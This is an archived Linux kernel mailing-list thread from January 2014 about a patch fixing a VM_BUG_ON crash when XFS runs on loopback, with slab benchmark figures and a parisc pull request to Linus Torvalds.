Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757479AbaAHVhv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 8 Jan 2014 16:37:51 -0500
Original-Received: from mail-wi0-f176.google.com ([209.85.212.176]:61196 "EHLO
	mail-wi0-f176.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757412AbaAHVhu (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 8 Jan 2014 16:37:50 -0500
Original-Received: by mail-wi0-f176.google.com with SMTP id hq4so6136653wib.9
        for <multiple recipients>; Wed, 08 Jan 2014 13:37:49 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=9ld4RO3p1P4i+Zlw53in94ktGJ52Tw3MiP6JPJn/le4=;
        b=Z6Rd2nxHBut7XDrV0nVn1GphV4qGeDlAyTXasSMNIJWWj5t+fYYrXHqz++tecIEzzU
         gV9IHnG0I6M5d4WFglCazD0YA/s7pZd52tvDT7fZpO8OtERSzlZqJYoU5GJ1uxmwAimT
         RVeYEvGPFnHyEs0CiOkWCpY7nWy4ONGNRRbW7sdWpjeiCNZBV8CWga23n5bk7mOEUTbu
         YvIhcVrHYYhSHkdxChNEEXUXkYLLKrTOpTzr0jkNomcFgmNjMJ/EDIgz4aJCsiAy8A3m
         kACksBPiDs4kRH1QYcA02ocVxz8z6vsuy6MC+74JtUXpW7Rk8F72/eeN8euYu9D+PtK3
         mGYg==
X-Received: by 10.180.187.229 with SMTP id fv5mr177822wic.24.1389217069535;
 Wed, 08 Jan 2014 13:37:49 -0800 (PST)
Original-Received: by 10.216.127.198 with HTTP; Wed, 8 Jan 2014 13:37:49 -0800 (PST)
In-Reply-To: <52CDBD94.9090808@gmx.de>
X-Google-Sender-Auth: VM1GoNtVS7HcW_7CRJ9ny-Guv-E
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5595 gmane.linux.kernel:1625634
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5595>

On Wed, Jan 8, 2014 at 11:05 PM, Helge Deller <deller@gmx.de> wrote:
> On 01/07/2014 02:41 AM, Joonsoo Kim wrote:
>>
>> On Mon, Jan 06, 2014 at 12:54:22PM -0500, Mikulas Patocka wrote:
>>>
>>> Hi
>>>
>>> On Mon, 6 Jan 2014, Joonsoo Kim wrote:
>>>
>>>> Hello,
>>>>
>>>> I'm surprised that this VM_BUG_ON() has not been triggered until now. It
>>>> was
>>>> introduced in 2007 by commit (b5fab14). Maybe there is no person who
>>>> test
>>>> with CONFIG_DEBUG_VM.
>>>
>>> Last time I tried it, PS-RISC didn't work with CONFIG_DEBUG_VM at all.
>>>
>>>> There is one more bug report same as this.
>>>> * possible regression on 3.13 when calling flush_dcache_page
>>>>    (lkml.org/lkml/2013/12/12/255)
>>>
>>> That link doesn't show anything.
>>>
>>>> As mentioned in the description of commit (b5fab14), slab object may not
>>>> be
>>>> properly aligned and use of page oriented function to this object can be
>>>> dangerous. I searched the XFS code and found that they only try to
>>>> allocate
>>>> multiple of 512 bytes, so there is no problem for now. But, IMHO, it is
>>>> better
>>>> not to use slab objects for this purpose.
>>>
>>> If slab debugging is enabled, kmalloc memory is not aligned.
>>>
>>> In XFS in xfs_buf_allocate_memory they test if the kmalloc memory crosses
>>> page boundary - if it does, they free the kmalloc memory and allocate a
>>> full page. Maybe this approach could still run into problems with some
>>> bus-master adapters that assume alignment in hardware...
>>>
>>>
>>> dm-bufio also does I/O to slab-allocated buffers, but it allocates the
>>> object from slab (not kmalloc) with proper alignment.
>>
>> Hello,
>>
>> Okay. I see.
>> Thanks for good explanation.
>>
>>>> And I rapidly searched every callsites of page_mapping() and, IMHO, this
>>>> patch would work correctly. But possibly reverting original commit is
>>>> better solution.
>>>
>>> Reverting the original commit wouldn't fix that VM_BUG_ON.
>>
>> Initially, I thought that VM_BUG_ON() isn't wrong and it was better to
>> remove
>> the callsites where do I/O with slab-allocated buffers, because doing I/O
>> with slab-allocated buffers needs a great care. So I didn't fully agreed
>> with
>> your patch and recommended to revert original commit yesterday. After
>> reverting
>> that, I would attempt to remove the callsites.
>>
>> But, now, I change my thought, because of your explanation. There are
>> already
>> some users to do I/O with slab-allocated buffers and they already did it
>> with
>> some cares, so I guess that admitting this usage is more beneficial than
>> forbidding it.
>>
>> Reviewed-by: Joonsoo Kim <iamjoonsoo.kim@lge.com>
>
>
> I can queue up this patch in my next pull-request for the parisc-tree which
> I plan to
> send tomorrow, unless people want this patch to go via mm-tree or
> similiar...
> Please let me know.

The patch looks good to me but it probably should go through Andrew's tree.

Acked-by: Pekka Enberg <penberg@kernel.org>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix crash when using XFS on loopback
Date: Wed, 08 Jan 2014 22:42:03 +0100
Lines: 85
Approved: news@gmane.org
Message-ID: <52CDC62B.1000409@gmx.de>
References: <alpine.LRH.2.02.1401041241590.4648@file01.intranet.prod.int.rdu2.redhat.com>	<20140106073549.GA25771@lge.com>	<alpine.LRH.2.02.1401061237120.6190@file01.intranet.prod.int.rdu2.redhat.com>	<20140107014159.GA26726@lge.com>	<52CDBD94.9090808@gmx.de> <CAOJsxLGJbRrDOesdSFnYCt9GOyTGEF0TDWNux06C3OxJnuLFMg@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1389217327 1701 80.91.229.3 (8 Jan 2014 21:42:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 8 Jan 2014 21:42:07 +0000 (UTC)
Cc: Joonsoo Kim <iamjoonsoo.kim@lge.com>,
	Mikulas Patocka <mpatocka@redhat.com>,
	Andi Kleen <ak@linux.intel.com>,
	Christoph Lameter <cl@linux.com>,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>
To: Pekka Enberg <penberg@kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 08 22:42:13 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W10t7-0003ag-Mi
	for glpp-linux-parisc@plane.gmane.org; Wed, 08 Jan 2014 22:42:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756531AbaAHVmJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 8 Jan 2014 16:42:09 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:65524 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752601AbaAHVmH (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 8 Jan 2014 16:42:07 -0500
Original-Received: from server.box ([84.173.33.108]) by mail.gmx.com (mrgmx001) with
 ESMTPA (Nemesis) id 0MWCgz-1Vu8Cy1eSP-00XO7c for
 <linux-parisc@vger.kernel.org>; Wed, 08 Jan 2014 22:42:05 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0
In-Reply-To: <CAOJsxLGJbRrDOesdSFnYCt9GOyTGEF0TDWNux06C3OxJnuLFMg@mail.gmail.com>
X-Provags-ID: V03:K0:rkG/WJKQi0RKQbEnxfkXZyysVWm9KHYmJgEd9l8IhqbWLAYAD6l
 tx+Yi7BU8+JKulLMgoruiwFfsNCCYYmMpU7vNgecluMDp9lDwVfXkVTMbnfaKOKWQTK3+1X
 5cnSqLHafyAdxy3vI9mpnWoEV6x/1mWw1X2ffvNNDyRRJle5B+9dVNNUFDxvYPvnY0e5iGR
 EGdLsAMnTFEX3s3Rfd7jg==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5596 gmane.linux.kernel:1625637
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5596>

On 01/08/2014 10:37 PM, Pekka Enberg wrote:
> On Wed, Jan 8, 2014 at 11:05 PM, Helge Deller <deller@gmx.de> wrote:
>> On 01/07/2014 02:41 AM, Joonsoo Kim wrote:
>>> On Mon, Jan 06, 2014 at 12:54:22PM -0500, Mikulas Patocka wrote:
>>>> Hi
>>>>
>>>> On Mon, 6 Jan 2014, Joonsoo Kim wrote:
>>>>
>>>>> Hello,
>>>>>
>>>>> I'm surprised that this VM_BUG_ON() has not been triggered until now. It
>>>>> was
>>>>> introduced in 2007 by commit (b5fab14). Maybe there is no person who
>>>>> test
>>>>> with CONFIG_DEBUG_VM.
>>>> Last time I tried it, PS-RISC didn't work with CONFIG_DEBUG_VM at all.
>>>>
>>>>> There is one more bug report same as this.
>>>>> * possible regression on 3.13 when calling flush_dcache_page
>>>>>     (lkml.org/lkml/2013/12/12/255)
>>>> That link doesn't show anything.
>>>>
>>>>> As mentioned in the description of commit (b5fab14), slab object may not
>>>>> be
>>>>> properly aligned and use of page oriented function to this object can be
>>>>> dangerous. I searched the XFS code and found that they only try to
>>>>> allocate
>>>>> multiple of 512 bytes, so there is no problem for now. But, IMHO, it is
>>>>> better
>>>>> not to use slab objects for this purpose.
>>>> If slab debugging is enabled, kmalloc memory is not aligned.
>>>>
>>>> In XFS in xfs_buf_allocate_memory they test if the kmalloc memory crosses
>>>> page boundary - if it does, they free the kmalloc memory and allocate a
>>>> full page. Maybe this approach could still run into problems with some
>>>> bus-master adapters that assume alignment in hardware...
>>>>
>>>>
>>>> dm-bufio also does I/O to slab-allocated buffers, but it allocates the
>>>> object from slab (not kmalloc) with proper alignment.
>>> Hello,
>>>
>>> Okay. I see.
>>> Thanks for good explanation.
>>>
>>>>> And I rapidly searched every callsites of page_mapping() and, IMHO, this
>>>>> patch would work correctly. But possibly reverting original commit is
>>>>> better solution.
>>>> Reverting the original commit wouldn't fix that VM_BUG_ON.
>>> Initially, I thought that VM_BUG_ON() isn't wrong and it was better to
>>> remove
>>> the callsites where do I/O with slab-allocated buffers, because doing I/O
>>> with slab-allocated buffers needs a great care. So I didn't fully agreed
>>> with
>>> your patch and recommended to revert original commit yesterday. After
>>> reverting
>>> that, I would attempt to remove the callsites.
>>>
>>> But, now, I change my thought, because of your explanation. There are
>>> already
>>> some users to do I/O with slab-allocated buffers and they already did it
>>> with
>>> some cares, so I guess that admitting this usage is more beneficial than
>>> forbidding it.
>>>
>>> Reviewed-by: Joonsoo Kim <iamjoonsoo.kim@lge.com>
>>
>> I can queue up this patch in my next pull-request for the parisc-tree which
>> I plan to
>> send tomorrow, unless people want this patch to go via mm-tree or
>> similiar...
>> Please let me know.
> The patch looks good to me but it probably should go through Andrew's tree.
>
> Acked-by: Pekka Enberg <penberg@kernel.org>

Absolutely fine with me. Andrew, can you please pick it up for 3.13 ?
Thanks,
Helge

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix crash when using XFS on loopback
Date: Wed, 8 Jan 2014 13:59:30 -0800
Lines: 15
Approved: news@gmane.org
Message-ID: <20140108135930.9fc1d3a63eeb9a45dcbbb2e8@linux-foundation.org>
References: <alpine.LRH.2.02.1401041241590.4648@file01.intranet.prod.int.rdu2.redhat.com>
	<20140106073549.GA25771@lge.com>
	<alpine.LRH.2.02.1401061237120.6190@file01.intranet.prod.int.rdu2.redhat.com>
	<20140107014159.GA26726@lge.com>
	<52CDBD94.9090808@gmx.de>
	<CAOJsxLGJbRrDOesdSFnYCt9GOyTGEF0TDWNux06C3OxJnuLFMg@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1389218369 14036 80.91.229.3 (8 Jan 2014 21:59:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 8 Jan 2014 21:59:29 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Joonsoo Kim <iamjoonsoo.kim@lge.com>,
	Mikulas Patocka <mpatocka@redhat.com>,
	Andi Kleen <ak@linux.intel.com>,
	Christoph Lameter <cl@linux.com>,
	LKML <linux-kernel@vger.kernel.org>, linux-parisc@vger.kernel.org
To: Pekka Enberg <penberg@kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 08 22:59:34 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W119x-0004VD-Vj
	for glpp-linux-parisc@plane.gmane.org; Wed, 08 Jan 2014 22:59:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756768AbaAHV7c (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 8 Jan 2014 16:59:32 -0500
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:42996 "EHLO
	mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753532AbaAHV7c (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 8 Jan 2014 16:59:32 -0500
Original-Received: from akpm3.mtv.corp.google.com (unknown [216.239.45.95])
	by mail.linuxfoundation.org (Postfix) with ESMTPSA id C0A8996D;
	Wed,  8 Jan 2014 21:59:31 +0000 (UTC)
In-Reply-To: <CAOJsxLGJbRrDOesdSFnYCt9GOyTGEF0TDWNux06C3OxJnuLFMg@mail.gmail.com>
X-Mailer: Sylpheed 3.2.0beta5 (GTK+ 2.24.10; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5597 gmane.linux.kernel:1625646
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5597>

On Wed, 8 Jan 2014 23:37:49 +0200 Pekka Enberg <penberg@kernel.org> wrote:

> The patch looks good to me but it probably should go through Andrew's tree.

yup.

page_mapping() will be called quite frequently, and adding a new
test-n-branch in there will be somewhat costly.  We might end up with a
better kernel if we were to instead revert 8456a648cf44f.  How useful
was that patch?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc fix for v3.13
Date: Wed, 8 Jan 2014 23:46:36 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20140108224636.GA19216@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1389221203 14014 80.91.229.3 (8 Jan 2014 22:46:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 8 Jan 2014 22:46:43 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 08 23:46:48 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W11tZ-0000U6-By
	for glpp-linux-parisc@plane.gmane.org; Wed, 08 Jan 2014 23:46:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757243AbaAHWql (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 8 Jan 2014 17:46:41 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:52598 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752325AbaAHWqk (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 8 Jan 2014 17:46:40 -0500
Original-Received: from p100.box ([84.173.33.108]) by mail.gmx.com (mrgmx001) with
 ESMTPSA (Nemesis) id 0LpKKr-1VUhHn2MHl-00f6qS for
 <linux-parisc@vger.kernel.org>; Wed, 08 Jan 2014 23:46:39 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:5jA0f7cWJU4ikmbq/npd+D6nzSXLGHF1YkjXPV3XK3Qm0Gmja2u
 3LnO9OBLmjorGcbaQhB98oZxnoVjOhSYX8QOS6n+ocfK94lWL0rwS3mxhRopZBMcwP/kwkU
 5Jrk/oBJ/5X6sEPMCbPEbrRd3L3QOgAB2jemRzO7sYH7cSKqyxOLeBvgBLSxVSYRHeKVYnw
 azjwZZUQLWvSzqIO18Iyw==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5598 gmane.linux.kernel:1625684
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5598>

Hi Linus,

please pull one late fix for Linux v3.13 for the parisc architecture from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-3.13

This patch fixes the kmap/kunmap implementation on parisc and finally makes AIO work on parisc.

Thanks,
Helge

----------------------------------------------------------------
John David Anglin (1):
      parisc: Ensure full cache coherency for kmap/kunmap

 arch/parisc/include/asm/cacheflush.h | 12 ++++--------
 arch/parisc/include/asm/page.h       |  5 ++---
 arch/parisc/kernel/cache.c           | 35 -----------------------------------
 3 files changed, 6 insertions(+), 46 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joonsoo Kim <iamjoonsoo.kim@lge.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix crash when using XFS on loopback
Date: Thu, 9 Jan 2014 09:13:31 +0900
Lines: 77
Approved: news@gmane.org
Message-ID: <20140109001331.GA15738@lge.com>
References: <alpine.LRH.2.02.1401041241590.4648@file01.intranet.prod.int.rdu2.redhat.com>
 <20140106073549.GA25771@lge.com>
 <alpine.LRH.2.02.1401061237120.6190@file01.intranet.prod.int.rdu2.redhat.com>
 <20140107014159.GA26726@lge.com>
 <52CDBD94.9090808@gmx.de>
 <CAOJsxLGJbRrDOesdSFnYCt9GOyTGEF0TDWNux06C3OxJnuLFMg@mail.gmail.com>
 <20140108135930.9fc1d3a63eeb9a45dcbbb2e8@linux-foundation.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1389226394 5332 80.91.229.3 (9 Jan 2014 00:13:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Jan 2014 00:13:14 +0000 (UTC)
Cc: Pekka Enberg <penberg@kernel.org>, Helge Deller <deller@gmx.de>,
	Mikulas Patocka <mpatocka@redhat.com>,
	Andi Kleen <ak@linux.intel.com>,
	Christoph Lameter <cl@linux.com>,
	LKML <linux-kernel@vger.kernel.org>, linux-parisc@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 09 01:13:19 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W13FN-00037l-Mu
	for glpp-linux-parisc@plane.gmane.org; Thu, 09 Jan 2014 01:13:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757525AbaAIANR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 8 Jan 2014 19:13:17 -0500
Original-Received: from lgeamrelo01.lge.com ([156.147.1.125]:63272 "EHLO
	LGEAMRELO01.lge.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757266AbaAIANQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 8 Jan 2014 19:13:16 -0500
X-AuditID: 9c93017d-b7be2ae0000020a5-06-52cde9984f8c
Original-Received: from lge.com ( [10.177.220.200])
	by LGEAMRELO01.lge.com (Symantec Brightmail Gateway) with SMTP id 1C.5B.08357.899EDC25; Thu,  9 Jan 2014 09:13:14 +0900 (KST)
Content-Disposition: inline
In-Reply-To: <20140108135930.9fc1d3a63eeb9a45dcbbb2e8@linux-foundation.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Brightmail-Tracker: AAAAAA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5599 gmane.linux.kernel:1625725
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5599>

On Wed, Jan 08, 2014 at 01:59:30PM -0800, Andrew Morton wrote:
> On Wed, 8 Jan 2014 23:37:49 +0200 Pekka Enberg <penberg@kernel.org> wrote:
> 
> > The patch looks good to me but it probably should go through Andrew's tree.
> 
> yup.
> 
> page_mapping() will be called quite frequently, and adding a new
> test-n-branch in there will be somewhat costly.  We might end up with a
> better kernel if we were to instead revert 8456a648cf44f.  How useful
> was that patch?

Hello,

Performance effect of this patch was decribed in the cover-letter, but
I missed to attach it to patch description. Sorry about that.

In summary, this patch saves some memory and decreases cache-footprint
so that it increases performance.

Here goes the description in cover-letter.

Below is some numbers of 'cat /proc/slabinfo'.

* Before *
# name            <active_objs> <num_objs> <objsize> <objperslab> <pagesperslab> : tunables [snip...]
kmalloc-512          527    600    512    8    1 : tunables   54   27    0 : slabdata     75     75      0
kmalloc-256          210    210    256   15    1 : tunables  120   60    0 : slabdata     14     14      0
kmalloc-192         1040   1040    192   20    1 : tunables  120   60    0 : slabdata     52     52      0
kmalloc-96           750    750    128   30    1 : tunables  120   60    0 : slabdata     25     25      0
kmalloc-64          2773   2773     64   59    1 : tunables  120   60    0 : slabdata     47     47      0
kmalloc-128          660    690    128   30    1 : tunables  120   60    0 : slabdata     23     23      0
kmalloc-32         11200  11200     32  112    1 : tunables  120   60    0 : slabdata    100    100      0
kmem_cache           197    200    192   20    1 : tunables  120   60    0 : slabdata     10     10      0

* After *
# name            <active_objs> <num_objs> <objsize> <objperslab> <pagesperslab> : tunables [snip...]
kmalloc-512          525    640    512    8    1 : tunables   54   27    0 : slabdata     80     80      0
kmalloc-256          210    210    256   15    1 : tunables  120   60    0 : slabdata     14     14      0
kmalloc-192         1016   1040    192   20    1 : tunables  120   60    0 : slabdata     52     52      0
kmalloc-96           560    620    128   31    1 : tunables  120   60    0 : slabdata     20     20      0
kmalloc-64          2148   2280     64   60    1 : tunables  120   60    0 : slabdata     38     38      0
kmalloc-128          647    682    128   31    1 : tunables  120   60    0 : slabdata     22     22      0
kmalloc-32         11360  11413     32  113    1 : tunables  120   60    0 : slabdata    101    101      0
kmem_cache           197    200    192   20    1 : tunables  120   60    0 : slabdata     10     10      0

kmem_caches consisting of objects less than or equal to 128 byte have one more
objects in a slab. You can see it at objperslab.


Here are the performance results on my 4 cpus machine.

* Before *

 Performance counter stats for 'perf bench sched messaging -g 50 -l 1000' (10 runs):

       238,309,671 cache-misses                                                  ( +-  0.40% )

      12.010172090 seconds time elapsed                                          ( +-  0.21% )

* After *

 Performance counter stats for 'perf bench sched messaging -g 50 -l 1000' (10 runs):

       229,945,138 cache-misses                                                  ( +-  0.23% )

      11.627897174 seconds time elapsed                                          ( +-  0.14% )

cache-misses are reduced by this patchset, roughly 5%.
And elapsed times are also improved by 3.1% to baseline.

Thanks.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix crash when using XFS on loopback
Date: Wed, 8 Jan 2014 16:19:36 -0800
Lines: 36
Approved: news@gmane.org
Message-ID: <20140108161936.d42bd6f7f5af528a841041d6@linux-foundation.org>
References: <alpine.LRH.2.02.1401041241590.4648@file01.intranet.prod.int.rdu2.redhat.com>
	<20140106073549.GA25771@lge.com>
	<alpine.LRH.2.02.1401061237120.6190@file01.intranet.prod.int.rdu2.redhat.com>
	<20140107014159.GA26726@lge.com>
	<52CDBD94.9090808@gmx.de>
	<CAOJsxLGJbRrDOesdSFnYCt9GOyTGEF0TDWNux06C3OxJnuLFMg@mail.gmail.com>
	<20140108135930.9fc1d3a63eeb9a45dcbbb2e8@linux-foundation.org>
	<20140109001331.GA15738@lge.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1389226787 9362 80.91.229.3 (9 Jan 2014 00:19:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Jan 2014 00:19:47 +0000 (UTC)
Cc: Pekka Enberg <penberg@kernel.org>, Helge Deller <deller@gmx.de>,
	Mikulas Patocka <mpatocka@redhat.com>,
	Andi Kleen <ak@linux.intel.com>,
	Christoph Lameter <cl@linux.com>,
	LKML <linux-kernel@vger.kernel.org>, linux-parisc@vger.kernel.org
To: Joonsoo Kim <iamjoonsoo.kim@lge.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 09 01:19:49 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W13LZ-0001fY-VH
	for glpp-linux-parisc@plane.gmane.org; Thu, 09 Jan 2014 01:19:42 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757217AbaAIATk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 8 Jan 2014 19:19:40 -0500
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:44364 "EHLO
	mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751668AbaAIATk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 8 Jan 2014 19:19:40 -0500
Original-Received: from akpm3.mtv.corp.google.com (unknown [216.239.45.95])
	by mail.linuxfoundation.org (Postfix) with ESMTPSA id D66AD8DE;
	Thu,  9 Jan 2014 00:19:39 +0000 (UTC)
In-Reply-To: <20140109001331.GA15738@lge.com>
X-Mailer: Sylpheed 3.2.0beta5 (GTK+ 2.24.10; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5600 gmane.linux.kernel:1625727
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5600>

